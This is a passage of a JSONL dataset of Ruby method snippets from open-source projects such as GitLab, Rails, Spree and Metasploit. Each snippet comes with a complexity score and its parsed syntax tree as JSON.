dialect.prompt.has_tools?\n\n          options\n        end","complexity_score":45.08,"ast_json":"{\"type\":\"def\",\"children\":[\"default_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dialect\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mapped_model\",{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"llm_model\"]},\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"claude-2\"]},{\"type\":\"str\",\"children\":[\"claude-2.1\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"claude-instant-1\"]},{\"type\":\"str\",\"children\":[\"claude-instant-1.2\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"claude-3-haiku\"]},{\"type\":\"str\",\"children\":[\"claude-3-haiku-20240307\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"claude-3-sonnet\"]},{\"type\":\"str\",\"children\":[\"claude-3-sonnet-20240229\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"claude-3-opus\"]},{\"type\":\"str\",\"children\":[\"claude-3-opus-20240229\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"claude-3-5-sonnet\"]},{\"type\":\"str\",\"children\":[\"claude-3-5-sonnet-latest\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"claude-3-7-sonnet\"]},{\"type\":\"str\",\"children\":[\"claude-3-7-sonnet-latest\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"claude-4-opus\"]},{\"type\":\"str\",\"children\":[\"claude-4-opus-20250514\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"claude-4-sonnet\"]},{\"type\":\"str\",\"children\":[\"claude-4-sonnet-20250514\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"llm_model\"]},\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"max_tokens\",{\"type\":\"int\",\"children\":[4096]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapped_model\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"3.[57]\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"max_tokens\",{\"type\":\"int\",\"children\":[8192]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"mapped_model\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_tokens\"]},{\"type\":\"lvar\",\"children\":[\"max_tokens\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"llm_model\"]},\"lookup_custom_param\",{\"type\":\"str\",\"children\":[\"enable_reasoning\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reasoning_tokens\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"llm_model\"]},\"lookup_custom_param\",{\"type\":\"str\",\"children\":[\"reasoning_tokens\"]}]},\"to_i\"]},\"clamp\",{\"type\":\"int\",\"children\":[1024]},{\"type\":\"int\",\"children\":[32768]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"max_tokens\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reasoning_tokens\"]},\"+\",{\"type\":\"int\",\"children\":[30000]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"thinking\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"enabled\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"budget_tokens\"]},{\"type\":\"lvar\",\"children\":[\"reasoning_tokens\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dialect\"]},\"native_tool_support?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dialect\"]},\"prompt\"]},\"has_tools?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"stop_sequences\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"</function_calls>\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"62ad7417-8e19-4052-80a5-390cf51bcdd7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/application_setting_implementation.rb","start_line":538,"raw_source":"def restricted_visibility_levels=(levels)\n    super(levels&.map { |level| Gitlab::VisibilityLevel.level_value(level) })\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"restricted_visibility_levels=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"levels\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"levels\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"level\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"VisibilityLevel\"]},\"level_value\",{\"type\":\"lvar\",\"children\":[\"level\"]}]}]}]}]}","id":"b94295e0-4083-4559-ac6f-829d9aa7c483"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/sd_file.rb","start_line":115,"raw_source":"def fetch_server_info\n        config_data =\n          begin\n            File.open(@path, \"r:#{@conf_encoding}:utf-8\", &:read)\n          rescue => e\n            raise Fluent::ConfigError, \"sd_file: path=#{@path} couldn't open #{e}\"\n          end\n\n        parser.call(config_data).map do |s|\n          Service.new(\n            :file,\n            s.fetch('host'),\n            s.fetch('port'),\n            s['name'],\n            s.fetch('weight', DEFAULT_WEIGHT),\n            s['standby'],\n            s['username'],\n            s['password'],\n            s['shared_key'],\n          )\n        end\n      rescue KeyError => e\n        raise Fluent::ConfigError, \"#{e}. Service must have `host` and `port`\"\n      end","complexity_score":29.7,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_server_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config_data\",{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"ivar\",\"children\":[\"@path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"r:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conf_encoding\"]}]},{\"type\":\"str\",\"children\":[\":utf-8\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"sd_file: path=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@path\"]}]},{\"type\":\"str\",\"children\":[\" couldn't open \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parser\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"config_data\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Service\"]},\"new\",{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"host\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"port\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"weight\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_WEIGHT\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"[]\",{\"type\":\"str\",\"children\":[\"standby\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"[]\",{\"type\":\"str\",\"children\":[\"shared_key\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"KeyError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"str\",\"children\":[\". Service must have `host` and `port`\"]}]}]}]},null]}]}","id":"cb6737f6-57f1-4a2e-846c-7df51a780970"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/ini.rb","start_line":97,"raw_source":"def to_file(tpath = nil)\n    tpath = path if (!tpath)\n\n    f = File.new(tpath, \"w\")\n    f.write(to_s)\n    f.close\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"to_file\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"tpath\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tpath\"]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"tpath\",{\"type\":\"send\",\"children\":[null,\"path\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"f\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"tpath\"]},{\"type\":\"str\",\"children\":[\"w\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"write\",{\"type\":\"send\",\"children\":[null,\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"close\"]}]}]}","id":"b79acb2e-7897-4a7a-b9f0-2376df148e5a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pages/virtual_host_finder.rb","start_line":28,"raw_source":"def by_unique_domain(name)\n        project = Project.by_pages_enabled_unique_domain(name)\n\n        return unless project&.pages_deployed?\n\n        ::Pages::VirtualDomain.new(projects: [project], namespace: project.namespace)\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"by_unique_domain\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"by_pages_enabled_unique_domain\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"pages_deployed?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Pages\"]},\"VirtualDomain\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"projects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"namespace\"]}]}]}]}]}]}","id":"04e75336-125e-4a90-a9c2-a43c829f47d3"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/hash_with_indifferent_access.rb","start_line":148,"raw_source":"def update(*other_hashes, &block)\n      if other_hashes.size == 1\n        update_with_single_argument(other_hashes.first, block)\n      else\n        other_hashes.each do |other_hash|\n          update_with_single_argument(other_hash, block)\n        end\n      end\n      self\n    end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"other_hashes\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other_hashes\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"update_with_single_argument\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other_hashes\"]},\"first\"]},{\"type\":\"lvar\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other_hashes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other_hash\"]}]},{\"type\":\"send\",\"children\":[null,\"update_with_single_argument\",{\"type\":\"lvar\",\"children\":[\"other_hash\"]},{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"ebf53b94-d132-4eb0-aab8-1cc67f3c8eb8"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/payments_controller.rb","start_line":22,"raw_source":"def create\n        invoke_callbacks(:create, :before)\n\n        @order.transaction do\n          @object.attributes = permitted_resource_params\n          @object.build_source\n          @object.save!\n\n          if @order.billing_address.nil?\n            @order.clone_shipping_address\n            @order.save!\n          end\n        end\n\n        @object.process!\n\n        # Transition order as far as it will go.\n        while @order.next; end\n        # If \"@order.next\" didn't trigger payment processing already (e.g. if the order was\n        # already complete) then trigger it manually now\n\n        invoke_callbacks(:create, :after)\n\n        redirect_to location_after_save\n      rescue Spree::Core::GatewayError => e\n        @object.failure if defined?(@object) && @object.persisted?\n        invoke_callbacks(:create, :fails)\n\n        flash[:error] = e.message.to_s\n        render :new, status: :unprocessable_entity\n      rescue ActiveRecord::RecordInvalid => _e\n        @object.failure if defined?(@object) && @object.persisted?\n        invoke_callbacks(:create, :fails)\n\n        flash[:error] = @object.errors.full_messages.to_sentence\n        render :new, status: :unprocessable_entity\n      end","complexity_score":51.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invoke_callbacks\",{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"sym\",\"children\":[\"before\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"attributes=\",{\"type\":\"send\",\"children\":[null,\"permitted_resource_params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"build_source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"save!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"billing_address\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"clone_shipping_address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"save!\"]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"process!\"]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"next\"]},null]},{\"type\":\"send\",\"children\":[null,\"invoke_callbacks\",{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"sym\",\"children\":[\"after\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"location_after_save\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Core\"]},\"GatewayError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"persisted?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"failure\"]},null]},{\"type\":\"send\",\"children\":[null,\"invoke_callbacks\",{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"sym\",\"children\":[\"fails\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"sym\",\"children\":[\"new\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordInvalid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"_e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"persisted?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"failure\"]},null]},{\"type\":\"send\",\"children\":[null,\"invoke_callbacks\",{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"sym\",\"children\":[\"fails\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"errors\"]},\"full_messages\"]},\"to_sentence\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"sym\",\"children\":[\"new\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]},null]}]}","id":"f437b7c8-7620-421c-afea-a304a4aee3e4"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/api/v1/audience_segments_controller.rb","start_line":53,"raw_source":"def add_users\n        @segment = scope.find(params[:id])\n\n        render json: SegmentedUsers::BulkUpsert.call(@segment, user_ids: @user_ids)\n      end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@segment\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SegmentedUsers\"]},\"BulkUpsert\"]},\"call\",{\"type\":\"ivar\",\"children\":[\"@segment\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_ids\"]},{\"type\":\"ivar\",\"children\":[\"@user_ids\"]}]}]}]}]}]}]}]}]}","id":"10252d08-5809-474e-aa72-7f7724300074"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/components/thread_indicator.rb","start_line":19,"raw_source":"def exists?(**args)\n          find(@context).has_css?(SELECTOR)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"ivar\",\"children\":[\"@context\"]}]},\"has_css?\",{\"type\":\"const\",\"children\":[null,\"SELECTOR\"]}]}]}","id":"2ae8e6b2-127c-4988-89ef-29e0f59ca253"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/mobileiron_core_log4shell.rb","start_line":69,"raw_source":"def wait_until(&block)\n    datastore['WfsDelay'].times do\n      break if block.call\n\n      sleep(1)\n    end\n  end","complexity_score":8.55,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_until\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WfsDelay\"]}]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\"]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"112e7c3c-3cde-4482-bfbc-9562d8b7a11a"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/source/source_locator.rb","start_line":15,"raw_source":"def initialize(paths, configuration: Configuration::AppConfiguration.default, options: Reek::CLI::Options.new)\n        @options = options\n        @paths = paths.flat_map do |string|\n          path = Pathname.new(string)\n          current_directory?(path) ? path.entries : path\n        end\n        @configuration = configuration\n      end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"paths\"]},{\"type\":\"kwoptarg\",\"children\":[\"configuration\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Configuration\"]},\"AppConfiguration\"]},\"default\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reek\"]},\"CLI\"]},\"Options\"]},\"new\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@paths\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"string\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_directory?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"entries\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@configuration\",{\"type\":\"lvar\",\"children\":[\"configuration\"]}]}]}]}","id":"bfe6e4a7-d4f5-4545-aede-9346d04e2eeb"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_packages/scopes/relatable.rb","start_line":377,"raw_source":"def existing_hierarchy_lateral(with_descendants: true)\n        <<~SQL.squish\n          SELECT\n            CASE\n              WHEN work_package_hierarchies.ancestor_id = related.id\n              THEN work_package_hierarchies.descendant_id\n              ELSE work_package_hierarchies.ancestor_id\n              END id,\n            true from_hierarchy,\n            false from_from_id,\n            false from_to_id,\n            related.includes_from_relation,\n            related.includes_to_relation,\n            #{with_descendants ? 'work_package_hierarchies.descendant_id = related.id' : 'work_package_hierarchies.ancestor_id = related.id'} includes_hierarchy\n          FROM\n            work_package_hierarchies\n          WHERE\n            related.from_hierarchy = false AND\n            (work_package_hierarchies.descendant_id = related.id OR work_package_hierarchies.ancestor_id = related.id)\n            AND (work_package_hierarchies.generations != 0)\n        SQL\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"existing_hierarchy_lateral\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"with_descendants\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"  CASE\\n\"]},{\"type\":\"str\",\"children\":[\"    WHEN work_package_hierarchies.ancestor_id = related.id\\n\"]},{\"type\":\"str\",\"children\":[\"    THEN work_package_hierarchies.descendant_id\\n\"]},{\"type\":\"str\",\"children\":[\"    ELSE work_package_hierarchies.ancestor_id\\n\"]},{\"type\":\"str\",\"children\":[\"    END id,\\n\"]},{\"type\":\"str\",\"children\":[\"  true from_hierarchy,\\n\"]},{\"type\":\"str\",\"children\":[\"  false from_from_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  false from_to_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  related.includes_from_relation,\\n\"]},{\"type\":\"str\",\"children\":[\"  related.includes_to_relation,\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"with_descendants\"]},{\"type\":\"str\",\"children\":[\"work_package_hierarchies.descendant_id = related.id\"]},{\"type\":\"str\",\"children\":[\"work_package_hierarchies.ancestor_id = related.id\"]}]}]},{\"type\":\"str\",\"children\":[\" includes_hierarchy\\n\"]},{\"type\":\"str\",\"children\":[\"FROM\\n\"]},{\"type\":\"str\",\"children\":[\"  work_package_hierarchies\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE\\n\"]},{\"type\":\"str\",\"children\":[\"  related.from_hierarchy = false AND\\n\"]},{\"type\":\"str\",\"children\":[\"  (work_package_hierarchies.descendant_id = related.id OR work_package_hierarchies.ancestor_id = related.id)\\n\"]},{\"type\":\"str\",\"children\":[\"  AND (work_package_hierarchies.generations != 